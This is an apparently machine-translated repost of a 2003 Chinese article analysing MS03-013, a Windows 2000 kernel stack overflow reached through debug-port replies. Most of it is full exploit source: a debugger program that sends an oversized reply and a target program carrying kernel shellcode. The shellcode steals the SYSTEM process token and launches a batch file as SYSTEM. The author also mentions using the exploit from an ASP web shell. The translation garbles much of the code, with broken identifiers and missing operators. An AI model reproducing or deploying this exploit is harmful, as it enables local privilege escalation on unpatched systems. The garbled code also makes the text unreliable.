[Actual combat] a little study on Windows 2000 Kernel Exploit

xiaoxiao2021-03-06  22

A little study on Windows 2000 Kernel Exploit

Creation time: 2003-06-03

Article attribute: original

Article submission:

Eyas (EY4S_AT_21CN.COM)

A little study on Windows 2000 Kernel Exploit

EY4S

2003-05-23

The following is a little experience in studying the vulnerabilities announced by MS03-013, which may have a lot of mistakes, please advise. This article

And some things have not been explained in detail, such as KPEB, TEB, etc., you can refer to the reference resources mentioned later herein. Write this article

The purpose of the chapter is the right to note, one is to tell the masters to pointed out the mistake, two for reading.

- = - = - = - The first partial example analysis - = - = - = -

MS released a safety announcement MS03-013 in 2003-04-16, as follows:

The Vulnerability EXISTS in The Kernel Debugging Support Code That Delivers Debug

Events to the user mode debugger. Malicious User Mode Debugger Would Send a Large Reply

To the Kernel, Which Results in a stack overflow.

According to the practice, the security announcement of MS will not provide technical details, but there is no technical details on the website of the vulnerability discovery, others

There is no relevant information in the local place, so I can only track the analysis. I spent a long time, I finally reappeared this vulnerability.

Background knowledge: User-mode debuger workflow

<1> DEBUGER Creates a new process, or ATTACH a running process. We call this process B.

<2> DEBUGER Waiting Process B Generates Debug Event

<3> Process B generates a Debug event, send a message to the Debuger, the process hangs, waiting for the DEBUGER directive.

<3> DEBUGER handles the debug event, send a message to the process B.

<4> Process B accepts the message sent by DEBUGER, and the process recovers.

<5> Circulation 2-4

The message delivery is made through the LPC PORT, and the process is as follows:

Debuger <-> kernel <-> Process B

The message structure mentioned above is as follows:

Typedef struct _debug_message

{

Port_Message Port_msg;

Debug_event debugevent;

} Debug_message, * pdebug_message;

Typedef struct _port_message

{

Ushort DataSize; // Data Length

Ushort messagesize; // Total length

Ushort MessageType;

Ushort DataInfooffset;

Client_id clientid;

Ulong MessageId;

Ulong sectionsize;

// uchar data [];

} Port_message, * pport_message;

There are several simple user-mode debuger source code in / Microsoft SDK / Samples / WinBase / Debug directory. You can refer to it.

Combine the content and background knowledge of the safety announcement, I think you already know how to reproduce this vulnerability.

<> Debuger Send Large reply -> kernel

<> kernel delivers reply -> Process B

When Kernel handles this malicious reply, overflows happened.

Note: When overflow occurs, the path where the CPU is-> running in the kernel space, associated with process B.

OK! Let's take a look at the disassembled code to see how the overflow happened.

First, the replend length sent by the DEBUGER is limited, let's take a look:

// DATA length is less than or equal to the total length -0x18

Ntreplyport 0x4D

0008: 8049DC89 PUSH 06

0008: 8049DC8B POP ECX

0008: 8049DC8C MOV ESI, [EBP 0C] // Reply Message Address

0008: 8049DC8F Lea EDI, [EBP-3C]

0008: 8049dc92 repz Movsd

0008: 8049dc94 or DWORD PTR [EBP-04], - 01

0008: 8049DC98 MOVSX EAX, Word PTR [EBP-3C] // Take Message Datasize

0008: 8049DC9C Add Eax, 18

0008: 8049dc9f MovsX ECX, Word PTR [EBP-3A] // Take Message Totalsize

0008: 8049DCA3 CMP EAX, ECX / / Decision DataSize 0x18 is greater than Totalsize

0008: 8049dca5 ja 804eee93

// Reply's total length cannot exceed 0x148

0008: 8049dcd3 MOV AX, [EBP-3A] // Take Message Totalsize

0008: 8049dcd7 Movsx EDX, AX

0008: 8049dcda MOV ECX, [EBP-20]

0008: 8049dcdd CMP EDX, [ECX 34] / / [ECX 34] content is 0x148

0008: 8049DCE0 JA 804EEF82

Therefore, the total length can only be 0x148 bytes, and DATA can only be 0x130 bytes, but this is enough to trigger the kernel stack overflow.

Then Keernel will call _dbgkpsendapimimage to process the reply_msg sent by our Debuger, and the function call relationship is as follows:

DBGKPSENDAPIMESSAGE

| _ LpcRequestWaitrePortPort

| _80433399

| _ Lpcpmovemessage <- kernel stack bufferflow

_DBGKPSENDAPIMESSAGE (Argv1, Argv2, Argv3)

_DBGKPSENDAPIMESSAGE

0008: 8052CF45 Push EBP

0008: 8052CF46 MOV EBP, ESP

0008: 8052CF48 SUB ESP, 00000100 // Assign 0x100 byte memory from STACK

......

0008: 8052CF5E MOV ESI, [EBP 08]

......

0008: 8052CF78 Lea Eax, [EBP-0100] 0008: 8052CF7E PUSH EAX

0008: 8052CF7F Push ESI

0008: 8052CF80 Push DWORD PTR [EBP 0C]

0008: 8052cf83 call _lpcRequestWaitrePort

......

0008: 8052CFBA RET 000c

_LPCRequestWaitreport (Argv3, Argv2, Stack_BUFF)

_LPCRequestWaitrePort

0008: 8049cfd3 push 00

0008: 8049CFD5 Push DWORD PTR [ESP 10]

0008: 8049cfd9 push dword PTR [ESP 10]

0008: 8049cfdd Push DWORD PTR [ESP 10]

0008: 8049cfe1 Call 80433399

0008: 8049CFE6 RET 000c

80433399 (Argv3, Argv2, Stack_Buff, 0)

80433399 0x3da

0008: 80433773 MOV ESI, [EBP 0C]

【0008: 80433776 xor EDI, EDI

0008: 80433778 Push EDI

0008: 80433779 Push EDI

0008: 8043377a Lea Eax, [ESI 30]

0008: 8043377D PUSH EAX

0008: 8043377E Lea EAX, [ESI 18]

0008: 80433781 Push EAX

0008: 80433782 Push DWORD PTR [EBP 10]

0008: 80433785 Call _lpcpmoveMestage

_LPCPMoveMessage (stack_buff, argv2 18, argv2 0x30)

_LPCPMoveMESSAGE

0008: 80402276 PUSH ESI

0008: 80402277 Push EDI

0008: 80402278 MOV EDI, [ESP 0C]

0008: 8040227C CLD

0008: 8040227D MOV ESI, [ESP 10]

0008: 80402281 LODSD

0008: 80402282 Stosd

0008: 80402283 Lea ECX, [EAX 03] / / get DATASIZE

0008: 80402286 and ECX, 0000FFFC // Take 4 integers, remove the remainder, such as 0x121 -> 0x120

0008: 8040228C SHR ECX, 02 // DataSize divided 4

0008: 8040228F LODSD

0008: 80402290 MOV EDX, [ESP 18]

0008: 80402294 OR EDX, EDX

0008: 80402296 JZ 8040229B

0008: 80402298 MOV AX, DX

0008: 8040229B StOSD

0008: 8040229c MOV EDX, [ESP 1C]

0008: 804022A0 or EDX, EDX

0008: 804022A2 JZ 804022B00008: 804022A4 MOV EAX, [EDX]

0008: 804022A6 Stosd

0008: 804022A7 MOV EAX, [EDX 04]

0008: 804022AA STOSD

0008: 804022AB Add ESI, 08

0008: 804022AE JMP 804022B2

0008: 804022B0 MOVSD

0008: 804022B1 MOVSD

0008: 804022B2 MOVSD

0008: 804022B3 MOVSD

0008: 804022B4 MOV ESI, [ESP 14]

0008: 804022b8 Rez movsd // No STACK Buffer size, all of our sending data all COPY to STACK

0008: 804022BA POP EDI

0008: 804022BB POP ESI

0008: 804022BC RET 0014

- = - = - = - Several problems need to be solved in the second part of Exploit - = - = - = -

First, determine the RETLOC address.

You can know in the disassembly code from the first part, the return address of the function is at STACK_BUFF 0x104.

Second, determine the RetadDR address.

Because the overflow occurs, the process B is associated, so shellcode is placed directly in the process B space, and the process B is in its process.

The address of the shellcode is passed to the Debuger, then the debuger is sent to the buffer structure of the Kernel as follows:

| ... NOP ... | realcode_addr | shellcode_addr | NOP ​​(0xc) | ESP | CS | DS | ES |

Realcode_addr overrides the EBP and Realcode's functionality is the recovery register FS, run Ey4S.bat with System permissions.

Shellcode_addr overrides the return address of the DBGKPSENDAPIMessage function, the function of Shlcode is to improve permissions, from the core

Status returns the application state.

Because the function DBGKPSENDAPIMESSAGE is returned, it is RET 0XC, so 0xC NOP is filled.

Then follow, is the register value that returns the application of the process B should correspond.

Third, improve the permissions.

Obviously, Process B is run as a normal user, so the purpose of this vulnerability is to improve permissions, so

The core state returns advance permission before the application. In the UNIX platform, you can modify the UID of the current process to 0 to achieve the purpose of lifting permissions. in

A similar approach can also be used in the Windows platform, but not modifying the UID (because Windows has no UID concept), but modify the current

The access token of the process, ready-to-TOKEN. I started to use the way to modify the list of privileges in token, such as adding Debug privileges, but this

If you want to return to the application state, you want to get SYSTEM privileges. There are still many places that can be modified, such as Owner SID, and more.

Finally, I decided to use the simplest and most effective way to replace the TOKEN of the current process with the SYSTEM process so that our process is

Have the highest authority.

In the Windows 2000 platform:

When running in the kernel mode, fs: [0x124] always points to the Teb of the current thread, [TEB 0x44] always points to the current process

KPEB. In [KPEB 0x12C] is stored in the current process to Token. KPEB in each process in the system is coupled by a ring chain table.

So you can find the KPEB of other processes through the KPEB of the current process. The implementation code is as follows:

/ / Get the KPEB address of the current process

Mov Eax, FS: [0x124]

Mov ESI, [EAX 0x44]

MOV EAX, ESI

/ * Search the KPEB address of the SYSTEM process * /

// Get the KPEB of the next process

Search:

Mov Eax, [EAX 0xA0]

Sub eax, 0xa0

CMP [EAX 0x9c], 0x8 // Judgment from PID Is System Process

JNE Search

Mov Eax, [EAX 0x12c] // Get the Token with the System process

MOV [ESI 0x12C], Eax // Modify the current process token

Fourth, from the kernel state correctly return to the application

After the overflow occurs, our shellcode is controlled and should return the interrupt call after upgrading the permissions, and the system will not crash. because

To cover us the return address of the core function DBGKPSENDAPIMESSAGE, so that the interrupt call is returned to this task only let us own

Come. To restore the value of some registers before returning, so our realcode in the process B can be correct after returning the application state.

Continue to run. When the interrupt is returned, the data structure in the stack is as follows:

Memory high places

| ?????? |

| DS | <- Returns the DS after the application state

| ESP | <- Returns the ESP after the application state

| eflags | <- Return to the Flags after the application state

| CS | <- Returns the CS after the application state

| EIP | <- Returns the application after the application

Memory low plan top

We construct this data yourself, then let ESP points to this data, then call IRETD from the core state to return to the application. but,

It seems that there is a problem after returning, and maybe the parameter is not set. Still searching for these parameters insurance from memory.

- = - = - = - Part III Exploit - = - = - = -

/ * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------

Debugme.cpp

Written by EY4S

Cooleyas@21cn.com

2003-05-23

-------------------------------------------------- ----------------- * /

#include

#include

#pragma pack (1)

Typedef struct _someInfo

{

DWORD DWNUM;

DWORD DWREALCODE;

DWORD DWSHELLCODE;

DWORD DW [3];

DWORD DWESP;

DWORD DWCS;

DWORD DWDS;

DWORD DWES;

} SomeInfo, * psomeInfo;

UNSIGNED Char shellcode [512];

UNSIGNED Char Realcode [512];

DWORD DWFS;

Handle HPROCESS;

DWORD DWRUN;

SomeInfo Si;

Void shellcodefnlock ();

Void realcodefnlock ();

Void getShellcode (unsigned char * pdst, int isize, byte * psrc);

Void CreateNewProcess () {

STARTUPINFO SI = {SIZEOF (SI)};

Process_information pi;

CreateProcess (NULL, "Ey4s.bat", NULL, NULL,

True, Create_new_console, Null, Null, & Si, & Pi;

exit (0);

}

void main ()

{

HModule H;

DWORD DWESP, DWCS, DWDS, DWES

/ / Save the register value

__ASM

{

Mov DweeSp, ESP

Sub dwesp, 0x100

Push CS

POP EAX

And Eax, 0xffff

MOV DWCS, EAX

Push DS

POP EAX

And Eax, 0xffff

Mov DWDS, EAX

Push ES

POP EAX

And Eax, 0xffff

Mov Dwes, EAX

Push fs

POP EAX

And Eax, 0xffff

MOV DWFS, EAX

}

// get shellcode

Getshellcode (shellcode, Sizeof (shellcode), (Byte *) shellcodefnlock);

GetShellcode (Realcode, Sizeof (Realcode), (Byte *) Realcodefnlock);

// Pass some information to Debuger

DWRun = (DWORD) & CreateNewProcess;

Si.dwnum = sizeof (si) / sizeof (dword) -1;

Si.dwreatalcode = (dword) & realcode;

Si.dwshellcode = (dword) & shellcode;

Si.dwesp = dwesp;

Si.dwcs = dwcs;

Si.dwds = dwds;

Si.dwes = dwes;

Printf ("shellcode 0x% .8x / n"

"realcode 0x% .8x / n"

"ESP =%. 8X CS = 0x% x DS = 0x% x ES = 0x% x fs = 0x% x / n",

Si.dwshellcode, si.dwrealcode, si.dweesp,

Si.dwcs, Si.dwds, Si.dwes, DWFS;

RaiseException (0x1981, 0, sizeof (si) / sizeof (dword), (DWORD *) & SI);

/ / Trigger Load DLL and Free DLL events

While (1)

{

// Printf (".");

H = loadingLibrary ("ws2_32.dll");

Sleep (1000);

Freelibrary (h);

Sleep (1000);

}

}

Void shellcodefnlock ()

{

_asm

{

NOP

NOP

NOP

NOP

NOP

NOP

NOP

NOP

/ * START Here * /

/ * -------- Improve permission -------- * /

/ / Get the KPEB address of the current process

Mov Eax, FS: [0x124]

Mov ESI, [EAX 0x44]

MOV EAX, ESI

/ * Search the KPEB address of the SYSTEM process * /// get the KPEB of the next process

Search:

Mov Eax, [EAX 0xA0]

Sub eax, 0xa0

CMP [EAX 0x9c], 0x8 // Judgment from PID Is System Process

JNE Search

Mov Eax, [EAX 0x12c] // Get the Token with the System process

MOV [ESI 0x12C], Eax // Modify the current process token

/ * ------------ From the core state back to the application ------------- * /

/ / Save ESP

MOV ESI, ESP

/ / Search the parameters required by IRETD

MOV EAX, ESP

Add Eax, 0x10 // Skip our data

NEXT:

Add Eax, 0x4

Mov EBX, [EAX]

CMP EBX, [ESI 0x4] // CS Linux system is 0x23, Win2k seems to be 1B

JNE NEXT

//

Sub eax, 0x4 // At this time, EAX points to the start address of the required parameter to IRETD.

MOV ESP, EAX

MOV [EAX], EBP // EBP is the address of Realcode, setting the start address of the REALCODE after returning

Add Eax, 0xC

// Set the ESP after returning to the application

MOV EBX, [ESI]

MOV [EAX], EBX

// Restore register value

Push [ESI 0x8]

POP DS

Push [ESI 0xC]

POP ES

// Return to the application state

IRETD

/ * end here * /

INT 3

NOP

NOP

NOP

NOP

NOP

NOP

NOP

NOP

}

}

Void realcodefnlock ()

{

_asm

{

NOP

NOP

NOP

NOP

NOP

NOP

NOP

NOP

/ * START Here * /

Push dwfs

POP FS

// Call Our Function

Call dwrun

/ * end here * /

INT 3

NOP

NOP

NOP

NOP

NOP

NOP

NOP

NOP

}

}

Void getShellcode (unsigned char * pdst, int isize, byte * psrc)

{

UNSIGNED CHAR TEMP;

UNSIGNED Char * shellcodefnadd, * st;

INT LEN, K;

Char * fnendstr = "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90";

#define fnendlong 0x08

/ * Positioning ShellCodefnlock assembly code * /

Shellcodefnadd = psrc;

Temp = * shellcodefnadd;

IF (Temp == 0xe9)

{

shellcodefnadd;

K = * (int *) shellcodefnadd;

Shellcodefnadd = K;

Shellcodefnadd = 4;

}

For (k = 0; k <= 0x500; K)

IF (Memcmp (Shellcodefnadd K, Fnendstr, Fnendlong) == 0)

Break;

/ * shellcodefnadd K 8 is the resulting shellcodefnlock assembly code address * / len = 0;

Start = shellcodefnadd k 8;

// LEN = 2 * WCSLEN (shellcodefnadd k 8);

While (Byte) Start [Len]! = (byte) '/ XCC')

{

PDST [len] = start [len];

Len ;

IF (len> = isize-1) Break;

}

// Memcpy (shellcode, shellcodefnadd k 8, len);

PDST [LEN] = '/ 0';

}

/ * ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------

XDebug.cpp

Written by EY4S

Cooleyas@21cn.com

2003-05-23

-------------------------------------------------- ----------------- * /

#include

#include

#define offset 0x100 0x4-0x6 * 4

Typedef enum _processinfoclass {

ProcessDebugport = 7 // 7 y y

} ProcessInfoclass;

Typedef struct _unicate_string {

Ushort Length;

Ushort maximumlength;

PWSTR BUFFER;

} Unicode_string, * punicode_string;

TypedEf struct _client_id

{

Handle uniqueprocess;

Handle uniqueethread;

} Client_ID, * pClient_ID, ** PPClient_ID;

Typedef struct _lpc_message

{

Ushort DataSize;

Ushort Messagesize;

Ushort MessageType;

Ushort DataInfooffset;

Client_id clientid;

Ulong MessageId;

Ulong sectionsize;

// uchar data [];

} LPC_Message, * PLPC_MESSAGE;

Typedef struct _object_attributes

{

DWORD Length;

Handle rootdirectory;

Punicode_String ObjectName;

DWORD Attributes;

PVOID SecurityDescriptor;

Pvoid ​​SecurityQualityOfService;

} Object_attributes, * pobject_attributes, ** ppObject_attribute;

Typedef

DWORD

(Callback * Ntcreateport)

Out phaldle porthandle, in pobject_attributes objecttributes,

In Ulong MaxConnectInfolength,

In Ulong MaxDatales,

In out pulong reserved optional;

Typedef

DWORD

(Callback * ntreplywaitrecViveport)

In Handle PortHandle,

Out Phandle Receiveporthandle Optional,

IN PLPC_MESSAGE Reply Optional,

OUT PLPC_MESSAGE INCOMINGREQUEST

Typedef

DWORD

(Callback * ntreplyport)

In Handle PortHandle,

IN PLPC_MESSAGE Reply);

Typedef

DWORD

(Callback * NtsetInformationProcess) (

In Handle ProcessHandle,

In ProcessInfoclass ProcessInformationClass,

In Pvoid ​​ProcessInformation,

In Ulong ProcessinformationLength;

Typedef struct _debug_message

{

LPC_MESSAGE Port_MSG;

Debug_event debugevent;

} Debug_message, * pdebug_message;

NTSetInformationProcess NtsetInformationProcess;

NtrePlyWaitRecviveport NtrePlywaitreceport;

NTCreateport ntcreateport;

Ntreport ntreport;

Template Struct Port_MessageX: LPC_MESSAGE {

Uchar data [i];

}

Process_information pi;

int main ()

{

HModule HNTDLL;

DWORD DWADDRLIST [9];

Bool bexit = false;

DWORD DWRET;

Handle Hport;

INT K = 0;

Debug_message dm;

Object_attributes OA = {SizeOf (OA)};

Port_Messagex <0x130> PortReply;

STARTUPINFO SI = {SIZEOF (SI)};

Printf ("/ NXDebug -> Windows Kernel Exploit for MS03-013 / N"

"Written by EY4S / N"

"2003-05-23 / N / N");

// Get Native API Address

HNTDLL = LoadLibrary ("NTDLL.DLL");

IF (hntdll == null)

{

Printf ("LoadLibrary Failed:% D / N", getLastError ());

Return 0;

}

NtrePlyWaitRecePort = (NtrePlyWaitRecViveport)

GetProcaddress (HNTDLL, "NTREPLYWAITRECEPORT");

Ntcreateport = (NTCReateport)

GetProcadDress (HNTDLL, "NTCReateport");

Ntreplyport = (ntreplyport)

GetProcaddress (HNTDLL, "NTReplyport");

NtsetInformationProcess = (NtsetInformationProcess)

GetProcaddress (HNTDLL, "NTSETINFORMATIONPROCESS");

// Create Port

DWRET = NTCREATEPORT (& Hport, & OA, 0, 0x148, 0);

IF (dwret! = 0)

{

Printf ("CREATE HPORT FAILED. RET =%. 8x / N", DWRET;

Return 0;

}

// CREATE Process

IF (! CreateProcess (0, "Debugme.exe", NULL, NULL, TRUE,

Create_suspended, 0, 0, & Si, & Pi))

{

Printf ("CreateProcess Failed:% D / N", getLastError ());

Return 0;

}

// set Debug Port

Dwret = NtsetInformationProcess (Pi.hprocess, ProcessDebugport,

& HPORT, SIZEOF (HPORT);

IF (dwret! = 0)

{

Printf ("SET Debug Port Error:%. 8x / N", DWRET);

Return 0;

}

//printf ("piD :0X%.8x% D hport = 0x% .8x / n", pi.dwprocessid, pi.dwprocessid, hport;

ResumeThread (pi.hthread);

While (True)

{

MEMSET (& DM, 0, SIZEOF (DM);

NtrePlyWaitReceport (Hport, 0, 0, & DM.Port_MSG);

K ;

Switch (DM.Debugevent.dwdebugeventcode 1)

{

Case exception_debug_event:

Printf ("Debug_Event -> EXCEPT / N");

IF (DM.Debugevent.u.exception.exceptionRecord.NumberParameters == 9)

{

Memcpy (UNSIGNED Char *) & dwaddrlist,

(unsigned char

*) & DM.Debugevent.u.exception.exceptionRecord.exceptioninformation,

SIZEOF (DWADDRLIST);

/ * int N;

For (n = 0; n <6; n )

Printf ("%. 8x / n", dwaddrlist [n]); * /

}

Break;

Case Create_thread_debug_event:

Printf ("Debug_Event -> CREATE THREAD / N");

Break;

Case Create_Process_Debug_event:

Printf ("Debug_Event -> CREATE Process / N");

Break;

Case EXIT_THREAD_DEBUG_EVENT:

Printf ("Debug_Event -> EXIXT THREAD / N");

Break;

Case EXIT_PROCESS_DEBUG_EVENT:

Printf ("Debug_Event -> EXIT Process / N");

BEXIT = True;

Break;

Case Load_dll_debug_event:

Printf ("Debug_Event -> Load DLL / N");

Break;

Case unload_dll_debug_event:

Printf ("Debug_Event -> Unload DLL / N");

Break;

Case Output_debug_string_event:

Printf ("Debug_Event -> Debug String / N");

Break;

} // end of switch

// Printf ("k =% D / N", K);

IF (k == 10)

{

// Printf ("************ / n");

// Sleep (4 * 1000);

MEMSET (& portReply, 0, sizeof (portreply));

Memcpy (& PortReply, & DM, SIZEOF (DM));

PortReply.Messagesize = 0x148;

PortReply.DataSize = 0x130;

Memset (& PortReply.Data, 'a', sizeof (portreply.data));

Memcpy (& PortReply.Data [offset-4], & dwaddrlist, sizeof (dwaddrlist));

DWRET = NTREPLYPORT (HPORT, & PortReply);

IF (dwret == 0)

Printf ("Send Shellcode to Ntoskrnl Completed!"

"Wait for EXIT./N");

Else

Printf ("NtReply Err:%. 8x / N", DWRET);

}

Else

NTReplyport (HPORT, & DM.PORT_MSG);

IF (bexit) Break;

} // end of while

Return 0;

}

Compile XDebug.cpp and debugme.cpp, put it under the same directory, create an EY4S.BAT, then run xdebug.exe, success

The EY4S.BAT will be run with System authority.

- = - = - = - Part 4 Others - = - = - = -

Personally, KERNEL Exploit and User-Mode Exploit differ in that KERNEL EXPLOIT should do more things:

<1> Enhance the permissions. Of course, if the associated process is already System, or Admin privilege, it is not necessary to improve the permissions.

<2> From the core state correctly returns the application, including the recovery register value, the search returns the required parameters. Other differences have nothing to do with User-Mode Exploit.

In the process, refer to a large number of books, information, thank the author!

References:

<>

http://elhack.whitecell.org/ linux_kernel_exploit_rd by alert7

<>

http://person.okey.net/~webcrazy/Webcrazy

<>

http://www.chapeaux-nogrs.org crazylord

Books:

* Windows NT / 2000 Native API REFERENCE

* INSIDE Microsoft Windows 2000, Third Edition

- = - = - = - The fifth part after the report - = - = - = -

The above EXP can only be successful in the following cases:

<> When logging in, running directly

<> When logging in to log in, run xdebug as a normal user

Can't be used:

<> asp shell

The reason for the failure in the ASP shell is quite strange, and it is trying to solve it, it should be a problem that can be solved. In the improved version, the ASP shell can be called to bind the shell as a System, and can be connected to execute the built-in command of CMD.exe, you can run some programs such as WHOAMI.exe, but run net.exe, ping.exe, etc. Failure, the error message is 0xC0000142.

转载请注明原文地址:https://www.9cbs.com/read-40954.html

New Post(0)